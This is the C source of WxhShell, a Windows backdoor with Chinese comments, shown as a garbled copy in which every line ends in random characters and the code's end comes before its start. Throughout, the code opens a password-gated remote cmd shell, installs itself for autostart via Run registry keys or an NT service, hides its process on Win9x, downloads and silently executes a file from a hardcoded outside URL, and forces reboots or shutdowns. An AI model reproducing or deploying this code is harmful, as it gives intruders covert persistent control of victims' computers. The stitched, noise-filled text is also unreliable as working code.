    if(Boot(SHUTDOWN)) 0}` 0!Kv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _oHxpeM  
    else { P\y ZcL  
    closesocket(wsh); 0Of6$`  
    ExitThread(0); V)fF|E~0  
    } GP(nb,  
    break; 65vsQ|Zw  
    } 7*kTu0m  
  // 获取shell 7sU+:a  
  case 's': { qL?$u07<9'  
    CmdShell(wsh); ?X+PNw|pf  
    closesocket(wsh); C1uV7t*\  
    ExitThread(0); t=\ ffpA  
    break; Mn 8| K nh  
  } 9JqT"zj  
  // 退出 ]*X z~Ox2  
  case 'x': { x9o(q`N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *^iSP(dg  
    CloseIt(wsh);  Xb~i?T;f  
    break; Elt" tJ  
    } 9+b){W  
  // 离开 j|>^wB  
  case 'q': { #bS}?fj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !y862oKD  
    closesocket(wsh); a`D`v5G t  
    WSACleanup(); 7ju^B/ 7  
    exit(1); w5vzj%6i  
    break; DH"_.j  
        } q>6RO2,  
  } GF36G?iEi  
  } !iL6/  
y[/:?O}g4  
  // 提示信息 <OrQbrWQa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h %5keiA  
} 5S ) N&%  
  } XaaR>HljJ  
Rw<O%i5/d  
  return; .7+"KP:  
} '(zP;  
09=w  
// shell模块句柄 _U o3_us  
int CmdShell(SOCKET sock) l>6p')F!  
{ t^=S\1"R\  
STARTUPINFO si; ,uD}1 G<u  
ZeroMemory(&si,sizeof(si)); [[O4_)?el  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;3iWV"&_A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q$5%9  
PROCESS_INFORMATION ProcessInfo; ^}UFtL i  
char cmdline[]="cmd"; ny0]Q@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P=a&>i  
  return 0; wjTW{Bg~G  
} od^o9(.W^  
%"ehZ d0r  
// 自身启动模式 k&:~l@?O  
int StartFromService(void) @W=: r/  
{ I5]58Ohx  
typedef struct \0)2 u[7  
{ }+giQw4  
  DWORD ExitStatus; ;<=z^1X9  
  DWORD PebBaseAddress; 1I%niQv5t  
  DWORD AffinityMask; L+lX$k  
  DWORD BasePriority; %r@:7/  
  ULONG UniqueProcessId; YXg^t$  
  ULONG InheritedFromUniqueProcessId; !{!(yP_  
}   PROCESS_BASIC_INFORMATION; PB #EU 9  
H|3CZ=U?  
PROCNTQSIP NtQueryInformationProcess; IH"_6s#$&  
sfp.>bMj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9Qq%Fw_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Icx)+Mq  
aNgJm~K0P  
  HANDLE             hProcess; L?(m5u~b  
  PROCESS_BASIC_INFORMATION pbi; wS [k}  
E?jb?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M (:_(4~  
  if(NULL == hInst ) return 0; AgWG4C=  
A{wk$`vH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >+%p }l:<\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WV;[vg]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sUZ2A1J}  
XUK%O8N#9  
  if (!NtQueryInformationProcess) return 0; XcKyrh;i  
G{.A5{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n>YgL}YZ?  
  if(!hProcess) return 0; 9LUk[V  
;(s.G-9S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?Hbi[YD  
,]4.|A_[Rq  
  CloseHandle(hProcess); BQ {'r^u  
2\#~%D>[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xw3A|Aj?r  
if(hProcess==NULL) return 0; XeozRfk%J|  
hOe$h,E']  
HMODULE hMod; !/Wv\qm  
char procName[255]; ?xt${?KP  
unsigned long cbNeeded; OKCX>'j:S  
~{D:vj4>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X'5+)dj  
; zfBe%Uf  
  CloseHandle(hProcess); ;{rl Y>  
9-?kamA  
if(strstr(procName,"services")) return 1; // 以服务启动 &uJ7[m19z  
!e0/1 j=  
  return 0; // 注册表启动 L/:u  
} e0<L^|S  
^j'vM\^`ml  
// 主模块 tUs{/Je  
int StartWxhshell(LPSTR lpCmdLine) [~ |e:  
{ gR{.0e  
  SOCKET wsl; q?oJ=]m"  
BOOL val=TRUE; 7 P]Sc   
  int port=0; +e) RT<  
  struct sockaddr_in door; l5_%Q+E_  
]GPUL>7  
  if(wscfg.ws_autoins) Install(); Q$2^m(?;  
|)Sx"B)  
port=atoi(lpCmdLine); yGPi9j{QXq  
+,}CuF  
if(port<=0) port=wscfg.ws_port; >V3pYRA   
2 Xc,c*r  
  WSADATA data;  h93  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /J'dG%  
XcQ'(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !O#NP!   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9rQpKq:# E  
  door.sin_family = AF_INET; [u`9R<>c"U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FZtILlw  
  door.sin_port = htons(port); cH$Sk  
D\V (r\i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "zN]gz=OV>  
closesocket(wsl); )IZ~!N|-w  
return 1; vM2\tL@"  
} yO0 9NQ 5u  
s)|l-I  
  if(listen(wsl,2) == INVALID_SOCKET) { 5P <  F  
closesocket(wsl); !yX4#J(  
return 1; pmi`Er  
} mH09* Z  
  Wxhshell(wsl); 7ip(-0  
  WSACleanup(); ?28aEX_w  
4S#q06=Xe  
return 0; &:*|KxX  
?\Z-3l%M  
} y-CVyl  
}!g^}BWWp  
// 以NT服务方式启动 {!vz 6QDS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w`OHNwXh#I  
{ oGi{d5  
DWORD   status = 0; 3:WXrOl  
  DWORD   specificError = 0xfffffff; qbe9 CF'@_  
[8.w2\<?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &\o !-EIK8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; awa$o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >P\/\xL=  
  serviceStatus.dwWin32ExitCode     = 0; ZN?UkFnE  
  serviceStatus.dwServiceSpecificExitCode = 0; ,b8q$ R~\  
  serviceStatus.dwCheckPoint       = 0; tvG/oe .1'  
  serviceStatus.dwWaitHint       = 0; FqK2[]8  
+Udlt)H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L`{EXn[  
  if (hServiceStatusHandle==0) return; &O.S ;b*+  
S}cm.,/w  
status = GetLastError(); o\YF_235  
  if (status!=NO_ERROR) nANoy6z:  
{ I~>L4~g)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Px))O&w{  
    serviceStatus.dwCheckPoint       = 0; 7|Tu@0XXA  
    serviceStatus.dwWaitHint       = 0; :S5B3S@|  
    serviceStatus.dwWin32ExitCode     = status; D;al(q  
    serviceStatus.dwServiceSpecificExitCode = specificError; vMOit,{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1JoRP~mMxa  
    return; e RjpR?!\  
  } )v67wn*1A  
i;$'haK<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *u%4]q  
  serviceStatus.dwCheckPoint       = 0; 4!dN^;Cb  
  serviceStatus.dwWaitHint       = 0; pB;p\9A*q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jE{2rw$ZJ?  
} l`R/WC  
3q.O^`y FU  
// 处理NT服务事件,比如:启动、停止 L_YVe(dT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >2l;KVm%  
{ T+[N-"N  
switch(fdwControl) j@b4)t  
{ *:}NS8hP  
case SERVICE_CONTROL_STOP: ZrFC#wJb  
  serviceStatus.dwWin32ExitCode = 0; 8?r ,ylUj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a|im DY_-j  
  serviceStatus.dwCheckPoint   = 0; @E$PjdB5M  
  serviceStatus.dwWaitHint     = 0; AhARBgf<  
  { q e:,%a-9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oj*3'?<7=  
  } &` u<KKF6  
  return; ToN$x^M w  
case SERVICE_CONTROL_PAUSE: dZ7+Iw;m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pU*dE   
  break; , ]'?Gd  
case SERVICE_CONTROL_CONTINUE: ZAPT5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;?i(WV}ee  
  break; wK CHG/W  
case SERVICE_CONTROL_INTERROGATE: y$At$i>u  
  break; XY8s\DK  
}; #is:6Z,OEU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( {H5k''  
} -zd*tujx  
,"u-V<>6O  
// 标准应用程序主函数 gHC -Y 0_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N}>XBZy  
{ mlY0G w_e  
8_K22]c5  
// 获取操作系统版本 Q+[e)YO)  
OsIsNt=GetOsVer(); RTNUHz;{L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]cnLJ^2  
XnQo0 R.PW  
  // 从命令行安装 "}]1OL SV  
  if(strpbrk(lpCmdLine,"iI")) Install(); pCNihZ~  
M ,8r{[2  
  // 下载执行文件 ":*PC[)W  
if(wscfg.ws_downexe) { ;jTP|q?|{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hp}J_/+4n  
  WinExec(wscfg.ws_filenam,SW_HIDE); @U%I 6 t  
} 5[M?O4mi  
Ak$gh b  
if(!OsIsNt) { V$+xJ  m  
// 如果时win9x,隐藏进程并且设置为注册表启动 z.:{   
HideProc(); 5o5y3ibQ  
StartWxhshell(lpCmdLine); /GNRu  
} $LZf&q:\]*  
else A:EF#2) g  
  if(StartFromService()) 9/MUzt  
  // 以服务方式启动 $Tt@Xu  
  StartServiceCtrlDispatcher(DispatchTable); \c+)Y}:D  
else IBWUeB:b  
  // 普通方式启动 "2X=i`rTi  
  StartWxhshell(lpCmdLine); jBV2]..  
uRQm.8b  
return 0; U%ce0z  
} 5DfAL;o!  
<$n%h/2%  
WJZW5 Xt  
mk1;22o{TX  
=========================================== H>e?FDs0*R  
F9ry?g=h  
x{C=rdp__  
?MuM _6  
qu8i Jq  
bv>;%TF  
" Ix%h /=I  
SHPaSq'&N  
#include <stdio.h> FK{ YRt  
#include <string.h> ~!'%m(g  
#include <windows.h> 0,(U_+ n  
#include <winsock2.h> -@G |i$!  
#include <winsvc.h> N<:5 r  
#include <urlmon.h> tn;e PcU  
6z"fBF  
#pragma comment (lib, "Ws2_32.lib") 4-=>># P  
#pragma comment (lib, "urlmon.lib") <FMW%4   
B}gi /  
#define MAX_USER   100 // 最大客户端连接数 nbw&+dcJ8  
#define BUF_SOCK   200 // sock buffer yyrCO"eh  
#define KEY_BUFF   255 // 输入 buffer 0^|)[2m!  
}3Pz{{B&+O  
#define REBOOT     0   // 重启 ;'dw`)~jQ  
#define SHUTDOWN   1   // 关机 X(1nAeQ  
s'ntf  
#define DEF_PORT   5000 // 监听端口 T.!GEUQ  
M'W@K  
#define REG_LEN     16   // 注册表键长度 Q$W0>bUP  
#define SVC_LEN     80   // NT服务名长度 U n2xZ[4  
JTpKF_Za<  
// 从dll定义API B @UaaWh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'rRo2oTN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rOB-2@-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xzy7I6X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,Vt7Kiu  
'  G-]>  
// wxhshell配置信息 c}Y(Myd  
struct WSCFG { UMo=bs  
  int ws_port;         // 监听端口 abWmPi  
  char ws_passstr[REG_LEN]; // 口令 rZe"*$e  
  int ws_autoins;       // 安装标记, 1=yes 0=no IO`.]iG  
  char ws_regname[REG_LEN]; // 注册表键名 >f19P+  
  char ws_svcname[REG_LEN]; // 服务名 ;Mc\>i/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 75@){ :  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !~m)_Q5?~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tk<dp7y7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]OM|Oo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +%6{>C+bZo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S3:Pjz}t  
0(Z ER sP  
}; <m`HK.|~  
I_'S|L  
// default Wxhshell configuration }-)2CEj3L%  
struct WSCFG wscfg={DEF_PORT, [U]*OQH`e  
    "xuhuanlingzhe", uezqC=v$h  
    1, mmAikT#k  
    "Wxhshell", j.sxyW?3  
    "Wxhshell", $/5Jc[Ow  
            "WxhShell Service", 9cWl/7;zXO  
    "Wrsky Windows CmdShell Service", W cPDPu~/  
    "Please Input Your Password: ", ,JN2q]QPP  
  1, fg%I?ou  
  "http://www.wrsky.com/wxhshell.exe", "Q A#  
  "Wxhshell.exe" lOPCM1Se  
    }; N/TU cG|m\  
ln'7kg  
// 消息定义模块  ]P(:z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3) zanoYHi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^u:7U4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A0cC)bd&  
char *msg_ws_ext="\n\rExit."; (X,Ua+{  
char *msg_ws_end="\n\rQuit."; *|Q'?ty(x  
char *msg_ws_boot="\n\rReboot..."; 1@P/h#_Vr  
char *msg_ws_poff="\n\rShutdown..."; o  <0f  
char *msg_ws_down="\n\rSave to "; 92WvD  
:qc@S&v@]  
char *msg_ws_err="\n\rErr!"; *O#%hTYq  
char *msg_ws_ok="\n\rOK!"; 5.]+K<:h"A  
vJ7I [Z  
char ExeFile[MAX_PATH]; LgjL+w19  
int nUser = 0; IwKhun  
HANDLE handles[MAX_USER]; ^L+*}4Dr  
int OsIsNt; b>hNkVI  
=;7gxV3;  
SERVICE_STATUS       serviceStatus; +b.<bb6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (LA%q6  
JaXT B"e  
// 函数声明 75r>~@)*  
int Install(void);  VljAAt  
int Uninstall(void); Ha@'%<gFe  
int DownloadFile(char *sURL, SOCKET wsh); sk\U[#ohH  
int Boot(int flag); %UI.E=`n  
void HideProc(void); (#BkL:dg  
int GetOsVer(void); ePq(:ih  
int Wxhshell(SOCKET wsl); a57Y9.H`o  
void TalkWithClient(void *cs); xM8}Xo  
int CmdShell(SOCKET sock); fB:9:NX  
int StartFromService(void); hq6fDRO/4  
int StartWxhshell(LPSTR lpCmdLine); 1Zx|SBF  
HlqCL1\<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \-0@9E<D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `L`qR,R  
Ah;2\0|t  
// 数据结构和表定义 wV+ W(  
SERVICE_TABLE_ENTRY DispatchTable[] = D!h8NZ;El  
{ B&Q\J>l9S  
{wscfg.ws_svcname, NTServiceMain}, `ky< *  
{NULL, NULL} +J} wYind  
}; $\Bzp<SN`  
K19/M1~  
// 自我安装 h8Q+fHDYv  
int Install(void) X]U,`oE)9  
{ Qg"hN  
  char svExeFile[MAX_PATH]; hF s:9  
  HKEY key; 01g=Cg  
  strcpy(svExeFile,ExeFile); >N@tInE  
{UX?z?0T  
// 如果是win9x系统,修改注册表设为自启动 gV$j ]  
if(!OsIsNt) { -$f~V\M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l)[\TD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n1 =B  
  RegCloseKey(key); q&Y'zyHLP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gS_)(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vp? 87h  
  RegCloseKey(key); 4*}[h9J}\  
  return 0; l Q]&:%^\  
    } rmu5K$pl  
  } p @&>{hi@  
} !Y>lAxd  
else { Yz=(zj  
OXe+=Lp<  
// 如果是NT以上系统,安装为系统服务 [9(tIb!x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t.$3?"60~  
if (schSCManager!=0)  H;s  
{ CnSfGsE>  
  SC_HANDLE schService = CreateService hEi]-N\X  
  ( QO0}-wZR  
  schSCManager, ']Gqa$(YC  
  wscfg.ws_svcname, k"&l o h  
  wscfg.ws_svcdisp, 'DO^($N  
  SERVICE_ALL_ACCESS, _ui03veA1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5XySF #  
  SERVICE_AUTO_START, `E+)e?z  
  SERVICE_ERROR_NORMAL, f uQbDb&  
  svExeFile, $h`(toTyF  
  NULL, !O6e,l  
  NULL, '9c`[^  
  NULL, GL[#XB>n  
  NULL, <nlZ?~%}  
  NULL fuSfBtLPR#  
  ); ^e:C{]S=  
  if (schService!=0) +%Q:  
  { ,A`d!{]5  
  CloseServiceHandle(schService); 0{^vqh.La  
  CloseServiceHandle(schSCManager); 1 rKKph  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u\wdb^8ds  
  strcat(svExeFile,wscfg.ws_svcname); T]Z|Wq`bot  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s:3 altv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #"-?+F=rk  
  RegCloseKey(key); 5Ds/^fA  
  return 0; 0D/u`-  
    } (|)`~z  
  } c[\ :^w^I6  
  CloseServiceHandle(schSCManager); 4 YDK`:4I~  
} ~XN--4%Q  
} =}>wxO  
x=T`i-M  
return 1; ma9q?H#X  
} [ -"o5!0<  
gNF8&T  
// 自我卸载 F1)B-wW  
int Uninstall(void) =M'M/vKD  
{ rqW[B/a{  
  HKEY key; Ls{z5*<FM  
b&[9m\AX`  
if(!OsIsNt) { aSdh5?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H e ABU(o4  
  RegDeleteValue(key,wscfg.ws_regname); !>fYD8Ft,  
  RegCloseKey(key); yTzP{I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5v <>%=  
  RegDeleteValue(key,wscfg.ws_regname); A}WRpsA9  
  RegCloseKey(key); KiYO,nD;\  
  return 0; 1c_gh12  
  } q9fCoz  
} ' QGacV   
} B?A c  
else { KwK[)Cvv  
x{{QS$6v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !$Aijd s5  
if (schSCManager!=0) ]T|9>o!  
{ Xou1X$$z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [p[nK=&r  
  if (schService!=0) j(^ot001%v  
  { (Cjnf a 2  
  if(DeleteService(schService)!=0) { ^7M hnA  
  CloseServiceHandle(schService); n@n608  
  CloseServiceHandle(schSCManager); e~R; 2bk  
  return 0; .{sKEVK  
  } *z[G+JX  
  CloseServiceHandle(schService); XndGe=O  
  } >2h|$6iWP  
  CloseServiceHandle(schSCManager); X8~dFjhX  
} *uHL'Pe;m  
} uo0g51%9  
,: g.B\'Q  
return 1; $$ %4,\{l  
} y_O[r1MF  
5tPBTS<<"L  
// 从指定url下载文件 K$OxeJP?F  
int DownloadFile(char *sURL, SOCKET wsh)  :VwU2  
{ .K`OEdr<  
  HRESULT hr; wKF #8Y  
char seps[]= "/"; - s[=$pDU  
char *token; HUqG)t*c1  
char *file; Oop5bg  
char myURL[MAX_PATH]; VD}8ei  
char myFILE[MAX_PATH]; jv $Y]nf  
RtVy^~=G  
strcpy(myURL,sURL); r /v'h@  
  token=strtok(myURL,seps); <;O=h; ~|  
  while(token!=NULL) ]=\Mf<  
  { m|q?gX9R  
    file=token; +./c=o/v  
  token=strtok(NULL,seps); XMhDx  
  } Y[%1?CREP  
HScj  
GetCurrentDirectory(MAX_PATH,myFILE); +|}R^x`z  
strcat(myFILE, "\\"); :g)0-gN   
strcat(myFILE, file); k. bzh.  
  send(wsh,myFILE,strlen(myFILE),0); E)==!T@E  
send(wsh,"...",3,0); n]M1'yU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \b {Aj,6,  
  if(hr==S_OK) u I$| M  
return 0; OLXkiesK{  
else &qw7BuF  
return 1; ' JHCf  
5 o:VixZf  
} C${{&$&  
DxjD/? R8  
// 系统电源模块 JQ{ g' cT  
int Boot(int flag) ,w~0U  
{ rM<lPMr1*  
  HANDLE hToken; Bvzu{B%  
  TOKEN_PRIVILEGES tkp; >55c{|"@L  
_;mN1Te  
  if(OsIsNt) { O%)@> 5#S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RjS;Ck@;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )"?6EsSF  
    tkp.PrivilegeCount = 1; qz7:jq3N-{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JFaxxW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [NcS[*qp  
if(flag==REBOOT) { gfE<XrG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (;utiupW  
  return 0; d,=Kv  
} ""Ul6hRgv  
else { EtN@ 6xP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bc}X.IC  
  return 0; vW4~\]  
} -r/G)Rs  
  } <>aBmJs4  
  else { 5 e:Urv77  
if(flag==REBOOT) { )6|7L)Dk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `(A6uakd  
  return 0; =PHl|^  
} X! 5N2x  
else { b i^h&H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _`lj 3Lm0>  
  return 0; u2HkAPhD  
} pAS!;t=n,  
} xt]Z{:.  
"bZV<;y6  
return 1; \8\)5#?  
} f.V;Hl,  
qh Ezv~  
// win9x进程隐藏模块 A^7!:^%K  
void HideProc(void) YArNJ5z=  
{ #!p=P<4M  
<%eY>E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `B+%W  
  if ( hKernel != NULL ) yu"Ii-9z  
  { 2}j2Bhc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ={' "ATX(U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~XGO^P"?  
    FreeLibrary(hKernel); :0o $qz2  
  } Z4FyuWc3  
b ABx' E  
return; fs4pAB#F  
} Hh @q;0ni  
Du3OmXMk  
// 获取操作系统版本 BqZ^I eC$  
int GetOsVer(void) #QJ  mAA  
{ Z:f0>  
  OSVERSIONINFO winfo; Z&8 7Aj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vzy]N6QT{  
  GetVersionEx(&winfo); ?7-#iC`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pM~Xh ]/  
  return 1; A2'   
  else  t K;E&:  
  return 0; /=Ug}%.  
} Q0~5h?V'  
M<JJQh5  
// 客户端句柄模块  p>v,b&06  
int Wxhshell(SOCKET wsl) Cus=UzL  
{ m%V+px  
  SOCKET wsh; ZCPK{Ru QE  
  struct sockaddr_in client; bHlG(1uf  
  DWORD myID; J#Fe"  
}]vj"!?a  
  while(nUser<MAX_USER) }@yvw*c  
{ +C7 1".i-  
  int nSize=sizeof(client); WO*yJ`9]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I Vy,A7f  
  if(wsh==INVALID_SOCKET) return 1; j)\&#g0u6  
7'FDI`e[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); THH rGvb  
if(handles[nUser]==0) 3(P^PP8  
  closesocket(wsh); 475yX-A  
else vy/U""w`  
  nUser++; kF'^!Hp  
  } #1Mk9sxo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EZ #UdK_  
*lv)9L+0  
  return 0; @RotJl/>  
} O;[PEV ~  
La%\- o  
// 关闭 socket )DMu`cD  
void CloseIt(SOCKET wsh) ?97MW a   
{ DGY#pnCu  
closesocket(wsh); yb/< 7  
nUser--; W9 y8dw.  
ExitThread(0); Orh5d 7+S  
} yp5*8g5  
3M{!yPlj  
// 客户端请求句柄 rP ;~<IxEr  
void TalkWithClient(void *cs) *F:]mgg  
{ 'R_U,9y`  
D,xWc|V  
  SOCKET wsh=(SOCKET)cs; qt]QO1pAd  
  char pwd[SVC_LEN]; Af=%5%  
  char cmd[KEY_BUFF]; yWIieztp  
char chr[1]; GG"0n{>0  
int i,j; Js+d4``W  
^FgNg'"[3  
  while (nUser < MAX_USER) { J'9&dt  
4W9!_:j(j  
if(wscfg.ws_passstr) { *p?b"{_a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =D5@PHpv(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p@i U}SUaE  
  //ZeroMemory(pwd,KEY_BUFF); X2@mQ&n  
      i=0; \$;\,p p  
  while(i<SVC_LEN) { P@9>4}r$  
,<hXNN  
  // 设置超时 )I]E%ut{4,  
  fd_set FdRead; Tp`)cdcC[  
  struct timeval TimeOut; >|0yH9af  
  FD_ZERO(&FdRead); N)Qj^bD!  
  FD_SET(wsh,&FdRead); ,b>cy&ut  
  TimeOut.tv_sec=8; R $'}Z  
  TimeOut.tv_usec=0; M0Z>$Az]t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _WK+BxH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QZ{&7mc>  
NJqALm!(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (m;P,*  
  pwd=chr[0]; !qrF=a  
  if(chr[0]==0xd || chr[0]==0xa) { 4NR,"l)  
  pwd=0; miS+MK"  
  break; {J})f>x<xM  
  } %>I!mD"X\  
  i++; !P@u4FCs  
    } QX%m4K/a  
<eN>X:_N  
  // 如果是非法用户,关闭 socket uNd;; X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h83ho  
} ^%_B'X9  
8YkP57Y%[Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 74gU 4T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H'gPGOd  
lG# &Pv>-  
while(1) { K'?ab 0  
bG^eP :r  
  ZeroMemory(cmd,KEY_BUFF); Jr17pu(t  
4n3QW%#  
      // 自动支持客户端 telnet标准   2IjqT L  
  j=0; 3kR- WgVF,  
  while(j<KEY_BUFF) { ^Jnp\o>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R2]?9\II  
  cmd[j]=chr[0]; :NbD^h)R  
  if(chr[0]==0xa || chr[0]==0xd) { O.rk!&N  
  cmd[j]=0; v@>hjie  
  break; P]Gsc  
  } *\VQ%_wg  
  j++; o\|dm. "f  
    } Dj!J 4uD  
YY7:WQS  
  // 下载文件 !&Q,]\j  
  if(strstr(cmd,"http://")) { 2gt08\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U^pe/11)H  
  if(DownloadFile(cmd,wsh)) 0RoI`>j'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8w2+t>?  
  else ?9?0M A<[i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?rBj{]=  
  } !@VmaAT  
  else { Kjz,p^Y\  
$ya#-pi`;  
    switch(cmd[0]) { {g/\5Z\b  
